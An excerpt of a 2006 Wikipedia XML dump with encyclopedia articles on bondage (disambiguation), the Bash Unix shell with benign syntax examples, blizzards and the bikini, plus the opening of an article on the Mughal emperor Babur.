* [http://www.albany.edu/scj/jcjpc/vol8is2/beckmann.html Deconstructing myths] by Andrea Beckmann, ''Journal of Criminal Justice and Popular Culture'', 8(2) (2001) 66-95
* [http://www.ncsfreedom.org National Coalition for Sexual Freedom] (USA)
* [http://www.nlaidvproject.us/ NLA-I Domestic Violence Project] (USA)
* [http://www.sexuality.org/ Society for Human Sexuality]
* [http://www.tes.org The Eulenspiegel Society] (USA)


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[[no:Sadomasochisme]]
[[pl:BDSM]]
[[pt:BDSM]]
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[[zh:BDSM]]</text>
    </revision>
  </page>
  <page>
    <title>Bondage</title>
    <id>4546</id>
    <revision>
      <id>41707828</id>
      <timestamp>2006-03-01T05:06:37Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wiktionary}}
In its most basic sense, the word '''bondage''' refers to the state or condition of being bound to an [[unfree labor]] system, as in [[slavery]], [[indentured servitude]], or [[serfdom]]. More generally, &quot;bondage&quot; may refer to any state of subjection to a force, influence, or power. The word ''bondage'' is derived from the [[Middle English]] ''bonde'' (&quot;serf&quot;), which came from the [[Old English language|Old English]] (Anglo-Saxon) word ''bōnda'' (&quot;[[husbandman]]&quot;), which itself comes from the [[Old Norse language|Old Norse]] ''bōndi'', the past participle of ''būa'' (&quot;to live&quot;).

Specific meanings of '''bondage''' and words with the &quot;bond-&quot; prefix include: 
*[[Debt bondage]], a modern form of slavery in which people are bound by debt, rather than legal ownership.
*[[Bondage (BDSM)]] in BDSM is the practice of tying people up for sexual pleasure.
*[[Self bondage]] in BDSM is the practice of tying oneself up for sexual pleasure.
*The term bondage is also used figuratively in religion, to mean spiritual attachment, such as to the physical world, or an evil compelling force, such as [[original sin]].
*A bondmaid is a woman servant.
*A bondman is a male servant.
*A bondsman is a person who provides [[bond]]s or [[surety]] for another.

== See also ==
*[[bond]]
*[[bonding]]
*[[human bonding]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bash</title>
    <id>4547</id>
    <revision>
      <id>41096794</id>
      <timestamp>2006-02-25T00:50:26Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>fixing interwikis  +: gl</comment>
      <text xml:space="preserve">{{dablink|This article is about the Unix shell named Bash.  For other meanings of Bash see [[Bash (disambiguation)]].}}
{{Infobox Software
| name = GNU Bourne-again shell
| logo = 
| screenshot = [[Image:bash_screenshot.png|300px]]
| caption = Screenshot of a sample Bash session, taken on [[Debian GNU/Linux|Linux]].
| developer = [[GNU|The GNU Project]]
| latest_release_version = 3.1
| latest_release_date = [[December 07]], [[2005]]
| operating_system = [[Linux]], [[Mac OS X]], [[Unix]] and [[Unix-like|like]] operating systems, [[Microsoft Windows]] (via [[Cygwin]])
| genre = [[Unix shell|Unix command shell]]
| license = [[GNU General Public License|GPL]]
| website = [http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html Bash homepage]
}}

'''Bash''' is a [[Unix shell|Unix command shell]] written for the [[GNU|GNU project]].  Its name is an acronym for '' '''B'''ourne-'''a'''gain '''sh'''ell ''&amp;mdash;a [[pun]] (''Bourne again'' / ''born again'') on the [[Bourne shell]] (sh), which was an early, important Unix shell.  The Bourne shell was the shell distributed with [[Version 7]] Unix, circa 1978.  The original Bourne shell was written by [[Stephen Bourne]], then a researcher at [[Bell Labs]].  The Bash shell was written in 1987 by [[Brian Fox]].  In 1990, [[Chet Ramey]] became the primary maintainer.  Bash is the default shell on most [[Linux]] systems as well as on [[Mac OS X v10.4|Mac OS X Tiger]], and it can be run on most [[Unix-like]] operating systems.  It has also been ported to [[Microsoft Windows]] by the [[Cygwin|Cygwin project]].

==Bash syntax highlights==
Bash's command syntax is a superset of the Bourne shell's command syntax.  The definitive specification of Bash's command syntax is the [http://www.gnu.org/software/bash/manual/bashref.html Bash Reference Manual] distributed by the GNU project.  This section highlights some of Bash's unique syntax features.

The vast majority of Bourne shell scripts can be executed without alteration by Bash, with the exception of those Bourne shell scripts that happen to reference a Bourne special variable or to use a Bourne builtin command.  The Bash command syntax includes ideas drawn from the [[Korn shell]] (ksh) and the [[C shell]] (csh), such as command-line editing, command history, the directory stack, the &lt;tt&gt;$RANDOM&lt;/tt&gt; and &lt;tt&gt;$PPID&lt;/tt&gt; variables, and [[POSIX]] command substitution syntax: &lt;tt&gt;$(...)&lt;/tt&gt;.  When being used as an interactive command shell, Bash supports completion of partly typed-in program names, filenames, variable names, etc. when the user presses the TAB key.

Bash syntax has many extensions that the Bourne shell lacks.  Several of those extensions are enumerated here.

===Integer mathematics===
A major limitation of the Bourne shell is that it cannot perform integer calculations without spawning an external process.  Bash can perform in-process integer calculations using the &lt;tt&gt;((...))&lt;/tt&gt; command and the &lt;tt&gt;$[...]&lt;/tt&gt; variable syntax, as follows:

 VAR=55             # Assign integer 55 to variable VAR.
 ((VAR = VAR + 1))  # Add one to variable VAR.  Note the absence of the '$' character.
 ((++VAR))          # Another way to add one to VAR.  Performs C-style pre-increment.
 ((VAR++))          # Another way to add one to VAR.  Performs C-style post-increment.
 echo $[VAR * 22]   # Multiply VAR by 22 and substitute the result into the command.
 echo $((VAR * 22)) # Another way to do the above.

The &lt;tt&gt;((...))&lt;/tt&gt; command can also be used in conditional statements, because its [[exit status]] is 0 or 1 depending on whether the condition is true or false:

 if ((VAR == Y * 3 + X * 2))
 then
         echo Yes
 fi
 
 ((Z &gt; 23)) &amp;&amp; echo Yes

The &lt;tt&gt;((...))&lt;/tt&gt; command supports the following [[relational operator]]s: '&lt;tt&gt;==&lt;/tt&gt;', '&lt;tt&gt;!=&lt;/tt&gt;', '&lt;tt&gt;&amp;gt;&lt;/tt&gt;', '&lt;tt&gt;&amp;lt;&lt;/tt&gt;', '&lt;tt&gt;&amp;gt;=&lt;/tt&gt;', and '&lt;tt&gt;&amp;lt;=&lt;/tt&gt;'.

Bash cannot perform in-process [[floating point]] calculations. The only Unix command shells capable of this are [[Korn Shell]] (1993 version) and [[zsh]] (starting at version 4.0).

===I/O redirection===
Bash has several I/O [[Redirection (Unix)|redirection]] syntaxes that the traditional Bourne shell lacks.  Bash can redirect [[standard output]] and [[Standard streams|standard error]] at the same time using this syntax:

 command &amp;&gt; file

which is simpler to type than the equivalent Bourne shell syntax, &quot;&lt;tt&gt;command &gt; file 2&gt;&amp;1&lt;/tt&gt;&quot;.  Bash, since version 2.05b, can redirect standard input from a string using the following syntax (sometimes called &quot;here strings&quot;):

 command &lt;&lt;&lt; &quot;string to be read as standard input&quot;

If the string contains [[whitespace (computer science)|whitespace]], it must be quoted. 

'''Example''':
Redirect standard output to a file, write data, close file, reset stdout

 # make Filedescriptor(FD) 6 a copy of stdout (FD 1)
 exec 6&gt;&amp;1
 # open file &quot;test.data&quot; for writing
 exec 1&gt;test.data
 # produce some content
 echo &quot;data:data:data&quot;
 # close file &quot;test.data&quot;
 exec 1&gt;&amp;-
 # make stdout a copy of FD 6 (reset stdout)
 exec 1&gt;&amp;6
 # close FD6
 exec 6&gt;&amp;-

Open and close files

 # open file test.data for reading
 exec 6&lt;test.data
 # read until end of file
 while read -u 6 dta
 do
   echo &quot;$dta&quot; 
 done
 # close file test.data
 exec 6&lt;&amp;-

Catch output of external commands

  # execute 'find' and store results in VAR
  # search for filenames which end with the letter &quot;h&quot;
  VAR=$(find . -name &quot;*h&quot;)

===In-process regular expressions===
Bash 3.0 supports in-process [[regular expression]] matching using the following syntax, reminiscent of [[Perl]]:

 &lt;nowiki&gt;[[ string =~ regex ]]&lt;/nowiki&gt;

The regular expression syntax is the same as that documented by the regex(3) [[man page]].  The exit status of the above command is 0 if the regex matches the string, 1 if it does not match.  Parenthesized subexpressions in the regular expression can be accessed using the shell variable &lt;tt&gt;BASH_REMATCH&lt;/tt&gt;, as follows:

 if &lt;nowiki&gt;[[ abcfoobarbletch =~ 'foo(bar)bl(.*)' ]]&lt;/nowiki&gt;
 then
         echo The regex matches!
         echo $BASH_REMATCH      -- outputs: foobarbletch
         echo ${BASH_REMATCH[1]} -- outputs: bar
         echo ${BASH_REMATCH[2]} -- outputs: etch
 fi

This syntax gives performance superior to spawning a separate process to run a &lt;tt&gt;[[grep]]&lt;/tt&gt; command, because the regular expression matching takes place within the Bash process.  If the regular expression or the string contain whitespace or shell [[metacharacter]]s (such as '&lt;tt&gt;*&lt;/tt&gt;' or '&lt;tt&gt;?&lt;/tt&gt;'), they should be quoted.

===Backslash escapes===
Words of the form &lt;tt&gt;$'string'&lt;/tt&gt; are treated specially.  The word expands to &lt;tt&gt;string&lt;/tt&gt;, with  backslash-escaped characters replaced as specified by the [[C programming language]].  Backslash escape sequences, if present, are decoded as follows:

{| class=&quot;wikitable&quot;
|+ &lt;big&gt;Backslash Escapes&lt;/big&gt;
|- 
! Backslash&lt;br&gt;Escape !! Expands To ...
|-
| align=&quot;center&quot; | &lt;tt&gt;\a&lt;/tt&gt; || An alert (bell) character
|-
| align=&quot;center&quot; | &lt;tt&gt;\b&lt;/tt&gt; || A backspace character
|-
| align=&quot;center&quot; | &lt;tt&gt;\e&lt;/tt&gt; || An escape character
|-
| align=&quot;center&quot; | &lt;tt&gt;\f&lt;/tt&gt; || A form feed character
|-
| align=&quot;center&quot; | &lt;tt&gt;\n&lt;/tt&gt; || A new line character
|-
| align=&quot;center&quot; | &lt;tt&gt;\r&lt;/tt&gt; || A carriage return character
|-
| align=&quot;center&quot; | &lt;tt&gt;\t&lt;/tt&gt; || A horizontal tab character
|-
| align=&quot;center&quot; | &lt;tt&gt;\v&lt;/tt&gt; || A vertical tab character
|-
| align=&quot;center&quot; | &lt;tt&gt;\\&lt;/tt&gt; || A backslash character
|-
| align=&quot;center&quot; | &lt;tt&gt;\'&lt;/tt&gt; || A single quote character
|-
| align=&quot;center&quot; | &lt;tt&gt;\nnn&lt;/tt&gt; || The eight-bit character whose value is the octal value nnn (one to three digits)
|-
| align=&quot;center&quot; | &lt;tt&gt;\xHH&lt;/tt&gt; || The eight-bit character whose value is the hexadecimal value HH (one or two hex digits)
|-
| align=&quot;center&quot; | &lt;tt&gt;\cx&lt;/tt&gt; || A control-X character
|}

The expanded result is single-quoted, as if the dollar sign had not been present.

A double-quoted string preceded by a dollar sign (&lt;tt&gt;$&quot;...&quot;&lt;/tt&gt;) will cause the string to be translated according to the current locale.  If the current locale is C or POSIX, the dollar sign is ignored.  If the string is translated and replaced, the replacement is double-quoted.

==Bash startup scripts==
When Bash starts, it executes the commands in a variety of different scripts.

When Bash is invoked as an interactive login shell, or as a non-interactive shell with the &lt;tt&gt;--login&lt;/tt&gt; option, it first reads and executes commands from the file &lt;tt&gt;/etc/profile&lt;/tt&gt;, if that file exists. After reading that file, it looks for &lt;tt&gt;~/.bash_profile&lt;/tt&gt;, &lt;tt&gt;~/.bash_login&lt;/tt&gt;, and &lt;tt&gt;~/.profile&lt;/tt&gt;, in that order, and reads and executes commands from the first one that exists and is readable. The &lt;tt&gt;--noprofile&lt;/tt&gt; option may be used when the shell is started to inhibit this behavior.

When a login shell exits, Bash reads and executes commands from the file &lt;tt&gt;~/.bash_logout&lt;/tt&gt;, if it exists.

When an interactive shell that is not a login shell is started, Bash reads and executes commands from &lt;tt&gt;~/.bashrc&lt;/tt&gt;, if that file exists. This may be inhibited by using the &lt;tt&gt;--norc&lt;/tt&gt; option. The &lt;tt&gt;--rcfile file&lt;/tt&gt; option will force Bash to read and execute commands from &lt;tt&gt;file&lt;/tt&gt; instead of &lt;tt&gt;~/.bashrc&lt;/tt&gt;.

When Bash is started non-interactively, to run a shell script, for example, it looks for the variable &lt;tt&gt;BASH_ENV&lt;/tt&gt; in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute. Bash behaves as if the following command were executed:

 if [ -n &quot;$BASH_ENV&quot; ]; then . &quot;$BASH_ENV&quot;; fi

but the value of the &lt;tt&gt;PATH&lt;/tt&gt; variable is not used to search for the file name.

If Bash is invoked with the name &lt;tt&gt;sh&lt;/tt&gt;, it tries to mimic the startup behavior of historical versions of &lt;tt&gt;sh&lt;/tt&gt; as closely as possible, while conforming to the [[POSIX]] standard as well. When invoked as an interactive login shell, or a non-interactive shell with the &lt;tt&gt;--login&lt;/tt&gt; option, it first attempts to read and execute commands from &lt;tt&gt;/etc/profile&lt;/tt&gt; and &lt;tt&gt;~/.profile&lt;/tt&gt;, in that order. The &lt;tt&gt;--noprofile&lt;/tt&gt; option may be used to inhibit this behavior. When invoked as an interactive shell with the name &lt;tt&gt;sh&lt;/tt&gt;, Bash looks for the variable &lt;tt&gt;ENV&lt;/tt&gt;, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute. Since a shell invoked as &lt;tt&gt;sh&lt;/tt&gt; does not attempt to read and execute commands from any other startup files, the &lt;tt&gt;--rcfile&lt;/tt&gt; option has no effect. A non-interactive shell invoked with the name &lt;tt&gt;sh&lt;/tt&gt; does not attempt to read any other startup files. When invoked as &lt;tt&gt;sh&lt;/tt&gt;, Bash enters ''posix'' mode after the startup files are read.

When Bash is started in posix mode, as with the &lt;tt&gt;--posix&lt;/tt&gt; command line option, it follows the POSIX standard for startup files. In this mode, interactive shells expand the &lt;tt&gt;ENV&lt;/tt&gt; variable and commands are read and executed from the file whose name is the expanded value. No other startup files are read.

Bash attempts to determine when it is being run by the remote shell daemon, usually &lt;tt&gt;rshd&lt;/tt&gt;. If Bash determines it is being run by &lt;tt&gt;rshd&lt;/tt&gt;, it reads and executes commands from &lt;tt&gt;~/.bashrc&lt;/tt&gt;, if that file exists and is readable. It will not do this if invoked as &lt;tt&gt;sh&lt;/tt&gt;. The &lt;tt&gt;--norc&lt;/tt&gt; option may be used to inhibit this behavior, and the &lt;tt&gt;--rcfile&lt;/tt&gt; option may be used to force another file to be read, but &lt;tt&gt;rshd&lt;/tt&gt; does not generally invoke the shell with those options or allow them to be specified.

==External links==
{{Wikibookspar||Bourne Shell Scripting}}

*[http://www.gnu.org/software/bash/bash.html Bash home page]
*[ftp://ftp.cwru.edu/pub/bash/FAQ Bash FAQ]
*[http://groups.google.com/groups?dq=&amp;lr=&amp;ie=UTF-8&amp;group=gnu.announce&amp;selm=mailman.1865.1091019304.1960.info-gnu%40gnu.org Bash 3.0 Announcement]
*[http://www.network-theory.co.uk/bash/manual/ The GNU Bash Reference Manual], ([http://www.network-theory.co.uk/docs/bashref/ HTML version]) by [[Chet Ramey]] and [[Brian Fox]], ISBN 0954161777
*[http://bashdb.sourceforge.net/bashdb.html Debugging with the BASH debugger]

Bash guides from the [[Linux Documentation Project]]:
*[http://www.tldp.org/LDP/Bash-Beginners-Guide/html/ Bash Guide for Beginners]
*[http://www.tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html BASH Programming - Introduction HOW-TO]
*[http://www.tldp.org/LDP/abs/html/ Advanced Bash-Scripting Guide]

Other guides and tutorials:
*[http://www.cyberciti.biz/nixcraft/linux/docs/uniqlinuxfeatures/lsst/  Linux Shell Scripting Tutorial - A Beginner's handbook]
*[http://www.linux.ie/newusers/beginners-linux-guide/shells.php About Shells]
*[http://hypexr.homelinux.org/bash_tutorial.html Beginners Bash Tutorial]
*[http://deadman.org/bash.html Advancing in the Bash Shell tutorial]
*[http://www.vias.org/linux-knowhow/bbg_intro_10.html Linux Know-How] including the Bash Guide for Beginners
*[http://markhobley.yi.org/linux/packages/shells/bash/bashdiff.html Differences Between Bash and The Standard Unix Shell]

[[Category:Domain-specific programming languages]]
[[Category:Text-oriented programming languages]]
[[Category:Scripting languages]]
[[Category:Unix shells]]
[[Category:Unix software]]
[[Category:GNU project software]]

&lt;!-- Interlanguage links --&gt;

[[bg:Bash]]
[[ca:Bash]]
[[cs:Bash]]
[[es:Bash]]
[[eo:Bash]]
[[fr:Bourne-Again shell]]
[[gl:Bash]]
[[ko:본 어게인 셸]]
[[it:Bash]]
[[he:Bourne-Again shell]]
[[nl:Bash]]
[[ja:Bourne Again Shell]]
[[pl:Bash]]
[[pt:Bash]]
[[ru:Bash]]
[[fi:Bash]]
[[sv:Bash]]</text>
    </revision>
  </page>
  <page>
    <title>Blizzard</title>
    <id>4548</id>
    <revision>
      <id>41945969</id>
      <timestamp>2006-03-02T20:27:53Z</timestamp>
      <contributor>
        <ip>70.17.178.140</ip>
      </contributor>
      <text xml:space="preserve">{{for|the software company|Blizzard Entertainment}}  {{for|the story by [[Aleksandr Pushkin|Pushkin]] and the suite by [[Georgi Sviridov|Sviridov]]|The Blizzard}}
[[Image:blizzard.jpg|thumb|250px|right|Blizzards are characterized by high winds and blinding precipitation]]
[[Image:Train stuck in snow.jpg|thumb|250px|right|Sudden blizzards can cause terrible damage to [[infrastructure]] as well as danger to human life.]]
A '''blizzard''' is a [[severe winter storm]] condition characterized by low [[temperature]]s and strong [[wind]]s that greater than 35 [[mile]]s per hour or 56 [[kilometre]]s per hour, bearing a great amount of [[snow]], either falling or blowing.

Because the factors involving classification of winter storms are complex, there are many different definitions of blizzard.  A major consensus is that in order to be classified as a blizzard, as opposed to merely a [[winter storm]], the weather must meet several conditions.  The storm must decrease visibility to a quarter of a mile or 400 meters for three consecutive hours, including snow or ice as precipitation, and have wind speeds of at least 35 miles per hour or 56 kilometres per hour (this would be seven or more on the [[Beaufort Wind Scale]]).

Another standard, according to [[Environment Canada]], is that the winter storm must have winds of 40 km/h (25 mph) or more, have snow or blowing snow, visibility less than 1 km (about &lt;small&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;big&gt;⁄&lt;/big&gt;&lt;sub&gt;8&lt;/sub&gt;&lt;/small&gt; mile), a wind chill of less than &amp;minus;25 °C (&amp;minus;13 °F), and all of these conditions must last for 4 hours or more, before the storm can be properly called a blizzard.

When all of these conditions persist after snow has stopped falling, meteorologists refer to the storm as a '''ground blizzard'''.

Severe blizzards can occur in conjunction with [[arctic cyclone]]s.

An extreme form of blizzard is a '''whiteout''', when [[downdraft]]s coupled with snowfall become so severe that it is impossible to distinguish the ground from the air.  People caught in a whiteout can quickly become disoriented, losing their sense of direction. This poses difficulty for [[aviation]] flying in the altitude of the storm

The word ''blizzard'' is of unknown origin, but may originate from the surname Blizzard. It was first widely used after the great [[United States]] winter storm now known as the &quot;Blizzard of [[1880]].&quot; [http://www.etymonline.com/index.php?search=blizzard]

Certain types of blizzards in the northeastern United States are colloquially known as ''[[Nor'easter]]s''.  In the [[Upper Midwest]], a northerly weather pattern deemed likely to produce blizzards is called an [[Alberta clipper]].

== See also ==
*The [[Schoolhouse Blizzard]]
*The [[Great Blizzard of '88]]
*The [[Great Blizzard of 1899]]
*The [[Blizzard of 1977]]
*The [[Great Blizzard of 1978]]
*The [[1993 North American Storm Complex]]
*The [[North American blizzard of 1996]]
*The [[Blizzard of 1999]] Led Zeppelin
*The [[North American blizzard of 2003]]
*The [[North American blizzard of 2005]]
*The [[North American blizzard of 2006]]
*[[:Category:Blizzards]]

==External links==
*[http://www.projectshum.org/NaturalDisasters/blizzards.html Natural Disasters - Blizzards] Great research site for kids.
*[http://www.richardjwild.co.uk Dr Richard Wild - Heavy Snow, Blizzards, Snowstorms and Snowfall Site] Online home of Dr Richard Wild. Site includes history and news of heavy snow, blizzards, snowstorms, snow pictures, snow data and other historical snowfalls and blizzard related topics.


[[Category:Weather hazards]]
[[Category:Snow]]
[[Category:Storms]]
[[Category:Blizzards]]
[[da:Snestorm]]
[[de:Blizzard (Wetter)]]
[[fr:Blizzard (météorologie)]]
[[nl:Blizzard (meteorologie)]]
[[ja:地吹雪]]
[[pl:Zamieć śnieżna]]
[[sl:Blizzard]]
[[sv:Snöstorm]]
[[zh:暴风雪]]</text>
    </revision>
  </page>
  <page>
    <title>Bikini</title>
    <id>4550</id>
    <revision>
      <id>41766147</id>
      <timestamp>2006-03-01T16:19:29Z</timestamp>
      <contributor>
        <username>Saluton</username>
        <id>791422</id>
      </contributor>
      <minor />
      <comment>Added Link</comment>
      <text xml:space="preserve">[[Image:Bikini Model Jassi 3.jpg|thumb|A woman wearing a bikini.]]
:''This article is about the women's bathing suit.  For other uses see [[Bikini (disambiguation)]]''.

A '''bikini''' or '''two-piece''' is a type of women's [[bathing suit]], characterized by two separate parts&amp;mdash;one covering the [[breasts]], the other the groin (and optionally the buttocks), leaving an uncovered area between the two garments. The shapes of both parts of a bikini closely resemble women's underwear, and the lower part of a bikini can therefore range from the more revealing thong or [[g-string]] to briefs and the more modest square-cut shorts.

Two-piece garments worn by women for athletic purposes have been observed on [[Greece|Greek]] [[urn]]s and paintings, dated as early as [[1400s BC|1400 BC]].

==Modern origin==
[[Image:MichelineBernardini.jpg|thumb|left|150px|[[Micheline Bernardini]] wearing the first modern bikini.]]
The modern bikini was invented by engineer [[Louis Reard]] in [[Paris]] in [[1946]] (introduced on [[July 5]]), and named after [[Bikini Atoll]], the site of [[nuclear weapon]] tests in the [[Marshall Islands]], on the reasoning that the burst of excitement it would cause would be like the [[atomic bomb]].

Reard's suit was a refinement of the work of [[Jacques Heim]] who, two months earlier, had introduced the &quot;Atome&quot; (named for its size) and advertised it as the world's &quot;smallest bathing suit&quot;. Reard split the &quot;atome&quot; even smaller, but could not find a model who would dare to wear his design. He ended up hiring [[Micheline Bernardini]], a [[nude]] [[dancer]] from the [[Casino de Paris]], as his model.

==Bikinis in modern culture==
It took fifteen years for the bikini to be accepted in the [[United States]]. In [[1951]] bikinis were banned from the [[Miss World|Miss World Contest]].  In [[1957]], however, [[Brigitte Bardot]]'s bikini in ''[[And God Created Woman]]'' created a market for the swimwear in the US, and in [[1960]], [[Brian Hyland]]'s pop song &quot;[[Itsy Bitsy Teenie Weenie Yellow Polka Dot Bikini]]&quot; inspired a bikini-buying spree. Finally the bikini caught on, and by [[1963]], the movie ''[[Beach Party]]'', starring [[Annette Funicello]] (emphatically ''not'' in a bikini, by mentor [[Walt Disney]]'s personal request) and [[Frankie Avalon]], led a wave of films that made the bikini a pop-culture symbol.

People who are familiar with the history of [[Bikini Atoll]]&amp;mdash;particularly opponents of [[nuclear proliferation]]&amp;mdash;may find the etymology and use of the word &quot;bikini&quot; for a garment as inappropriate, as its tongue-in-cheek &quot;explosive&quot; reputation effectively reduces the significance of a [[Castle Bravo|serious historic humanitarian crisis]]&amp;mdash;one that still influences the [[politics of the Marshall Islands]]&amp;mdash;to a mere [[popular culture]] [[sex symbol]] in the minds of most people.  The term '''two-piece''' is considered a neutral alternative.

==Evolution of the bikini==
[[Image:Bikini-Tanga.jpg||right|thumb|A woman wearing a string bikini]]
In recent years, the term ''[[monokini]]'' has come into use for [[topless]] bathing by women: where the bikini has two parts, the monokini is the lower part. Where monokinis are in use, the word ''bikini'' may jokingly refer to a two-piece outfit consisting of a monokini and a sun hat.  The term was coined by [[Rudi Gernreich]].

The ''[[tankini]]'' is a swimsuit combining a [[tank top]] and a bikini bottom. A [[string bikini]] is a more revealing alternative style where both top and bottom are reduced to triangles of cloth connected by strings.

The lower part of the bikini was further reduced in size in the [[1970s]] to the Brazilian [[G-string|thong]], where the back of the suit is so thin that it disappears into the buttocks. Recently bikinis have been getting smaller. This trend started with the top piece, but after shrinking the top so much that it barely covers the [[nipple]]s, swimsuit manufacturers have moved on to reducing the size of the bottom piece. One can see the trend toward reduction in the following styles: [[Slingshot bikini|slingshot]], [[mini]], [[teardrop]], [[minimini]], [[micro]], and, what could be called a double g-string, the [[minimicro]].

Female athletes who play [[beach volleyball]] professionally are required to wear two-pieces.

==Media depiction==
[[Image:Sunbathe Bikini.jpg|left|thumb|200px|Women usually wear bikinis when they are [[sun tanning|tanning]].]]
The obvious [[sex appeal]] of the apparel prompted numerous [[film]] and [[television]] productions as soon as public morals changed to accept it.  They include the numerous [[surf movie]]s of the early [[1960s]] and the [[Television program|television series]], ''[[Baywatch]]''. Iconic portrayals of bikinis in movies include [[Ursula Andress]] as [[Bond girl]] Honey Ryder in ''[[Dr. No]]'' ([[1962 in film|1962]]), [[Raquel Welch]] as the prehistoric cavegirl in the [[1966 in film|1966]] film ''[[One Million Years B.C.]]'', and [[Phoebe Cates]] in the [[1982]] [[teen film]] ''[[Fast Times at Ridgemont High]]''. These scenes were recently ranked 1, 86, and 84 in [[Channel 4]] ([[UK]])'s ''[[100 Greatest Sexy Moments]]''.

In addition, a variant of the bikini popular in [[fantasy literature]] is a bikini that is made up of metal to serve as (admittedly rather impractical) [[armor]] (Sometimes referred to as a [[Chainmail]] Bikini).  The character [[Red Sonja]] is a famous example. A [[re-enactment]] term for such usage, where sex appeal is more important than actual practicality is ''babes-at-arms'' (parody from &quot;men-at-arms&quot; for a fully armoured soldier).

&lt;br style=&quot;clear:both&quot; /&gt;

==Images of Roman bikinis==
{|
|[[Image:Roman bikini 2.jpg|thumb|150px|left|A Roman, ca. [[300]].]]
|[[Image:Roman bikini 3.jpg|thumb|150px|left|A Roman, ca. 300.]]
|[[Image:Roman bikini 4.jpg|thumb|150px|left|A Roman.]]
|}

&lt;br style=&quot;clear:both&quot; /&gt;

{|
[[Image:Roman bikini 1.jpg|thumb|200px|left|Romans exercising, ca. 300]]
|}
&lt;br style=&quot;clear:both&quot; /&gt;

==See also==
{{commons|Category:Bikini}}
* [[Bikini waxing]]
* [[Brazilian waxing]]
* [[Bikini contest]]
* [[Microkini]]

==External links==
* [http://www.bikiniscience.com Bikini Science a study of the bikini]
* [http://www.beachwear.net/history_of_bikini.html Bikini facts and information]
* [http://www.channel4.com/film/newsfeatures/microsites/S/sexy/index.html Channel 4 100 Greatest Sexy Moments with iconic Bikini portrayals]
* [http://www.everythingbikini.com/ Bikini quotes and facts]

[[Category:Swimsuits]]

[[als:Bikini]]
[[ca:Biquini]]
[[da:Bikini]]
[[de:Bikini]]
[[es:Biquini]]
[[eo:Bikino]]
[[fr:Bikini (vêtement)]]
[[ko:비키니]]
[[hu:Bikini (fürdőruha)]]
[[lt:Bikinis]]
[[nl:Bikini (kleding)]]
[[ja:ビキニ (水着)]]
[[no:Bikini (klesplagg)]]
[[pl:Bikini (kostium)]]
[[ru:Бикини (одежда)]]
[[sl:Bikini]]
[[fi:Bikinit]]
[[sv:Bikini]]
[[zh:比基尼泳衣]]</text>
    </revision>
  </page>
  <page>
    <title>Babur</title>
    <id>4551</id>
    <revision>
      <id>41371011</id>
      <timestamp>2006-02-26T22:24:56Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.253.115.202|207.253.115.202]] ([[User talk:207.253.115.202|talk]]) to last version by Siddiqui</comment>
      <text xml:space="preserve">:''This article is about the founder of the Mughal Empire.  For the Pakistani cruise missile, see [[Babur missile]]''

{| cellpadding=3px cellspacing=0px class=&quot;toccolours&quot; style=&quot;float:right; border:1px #CCCCCC solid; margin:5px&quot;
|+ &lt;big&gt;'''Babur'''&lt;/big&gt;
|colspan=2 align=center style=&quot;border-top:1px  #CCCCCC solid&quot;|[[Image:Babur.jpg| Babur portrait]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Birth name:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|Zahir-ud-din Mohammad Babur
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Family name:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|[[Timur House]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Title:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|[[Emperor]] of [[Mughal Empire]]&lt;br /&gt;
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Birth:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|[[February 14]], [[1483]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Death:'''||style=&quot;border-top:1px #CCCCCC  solid&quot;|[[December 26]], [[1530]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Succeeded by:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|[[Humayun]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Marriage:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|
*[[Ayisheh Sultan Begum]]&lt;br&gt;
*[[Bibi Mubarika Yusufzay]]&lt;br&gt;
*[[Dildar Begum]]&lt;br&gt;
*[[Gulnar Agacheh]]&lt;br&gt;
*[[Gulrukh Begum]]&lt;br&gt;
*[[Maham Begum]]&lt;br&gt;
*[[Masumeh Begum]]&lt;br&gt;
*[[Nargul Agacheh]]&lt;br&gt;
*[[Sayyida Afaq]]&lt;br&gt;
*[[Zainab Sultan Begum]]&lt;br&gt;
|-
|align=left style=&quot;border-top:1px  #CCCCCC solid&quot;|'''Children:'''||style=&quot;border-top:1px  #CCCCCC solid&quot;|
*[[Humayun]], son&lt;br&gt;
*[[Kamran Mirza]], son&lt;br&gt;
*[[Askari Mirza]], son&lt;br&gt;
*[[Hindal Mirza]], son&lt;br&gt;
*[[Gulrukh Begum]], daughter&lt;br&gt;
*[[Fakhr-un-nisa]], daughter&lt;br&gt;
|}

'''Zahir-ud-din Mohammad ''Babur''''' ([[Persian language|Persian]]:  محمد بابر) ([[February 14]], [[1483]] &amp;ndash; [[December 26]], [[1530]]), (also spelled ''Zahiriddin, Muhammad, Bobur, Baber, Babar, etc.''), Emperor and Founder of the [[Mughal]] dynasty of [[India]].

==Background==
